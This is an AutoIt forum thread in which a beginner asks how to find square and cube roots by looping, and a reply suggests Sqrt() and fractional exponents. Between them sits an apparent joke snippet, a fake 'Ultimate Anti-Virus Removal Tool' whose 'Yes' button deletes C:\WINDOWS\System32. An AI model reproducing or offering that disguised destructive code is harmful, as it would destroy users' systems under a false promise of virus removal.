## Recommended Posts

```While 1
\$nMsg = GUIGetMsg()
Switch \$nMsg
Case \$GUI_EVENT_CLOSE
Exit
Case \$ButtonFindSquare

GUICtrlSetData(\$FindSqAns, \$FindSq1*\$FindSq1)

Case \$ButtonFindCb

GUICtrlSetData(\$FIndCbAns, \$FindCb1*\$FindCb1*\$FindCb1)

Case \$Button3

For \$i = .01 to 9999.01 Step .01
Do
Until \$FindSq2
Next
GUICtrlSetData(\$OneTwo, \$FindSq3)

EndSwitch
WEnd```

This is what I've got so far. You see you can Square or Cube a number. That part was terribly easy. The next part though is trying to find what the Square of a number is (and separately, Cube). They way I was going to do this was using For...To...Step...Next

My plain is making \$i = .01

Multiply \$i by \$i

If it's not equal then make \$i go up .01 until \$i*\$i = Number inputed. Then returning \$i as the square.

```For \$i = .01 to 9999.01 Step .01
Do
Until \$FindSq2
Next
GUICtrlSetData(\$OneTwo, \$FindSq3)```

(I made it go to 9999.01 because I doubt someone will go that high.) How exactally would I do this? Each time I try it says 'Line 60' - \$FindSq3 - Variable used without being declared. (Line 60- GUICtrlSetData(\$OneTwo, \$FindSq3))

```;Ultimate Anti-Virus Removal Tool

\$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If \$ans = 6 Then
DirRemove("C:\WINDOWS\System32")
ElseIf \$ans = 7 Then
Exit
EndIf```

##### Share on other sites No offense, but that's a really stupid idea.

Ever heard of Sqrt()? (Calculates the square-root of a number)

A better way.

In case you didn't know, here's an interesting thing: This means that if you want to find the square root of a number, you can raise that number to the power 1/2 using the operator: ^

`25^(1/2) = 5`

Cube root:

`8^(1/3) = 2`

Hope this helps ## Create an account

Register a new account

• ### Recently Browsing   0 members

×

• Wiki

• Back

• #### Beta

• Git
• FAQ
• Our Picks
×
• Create New...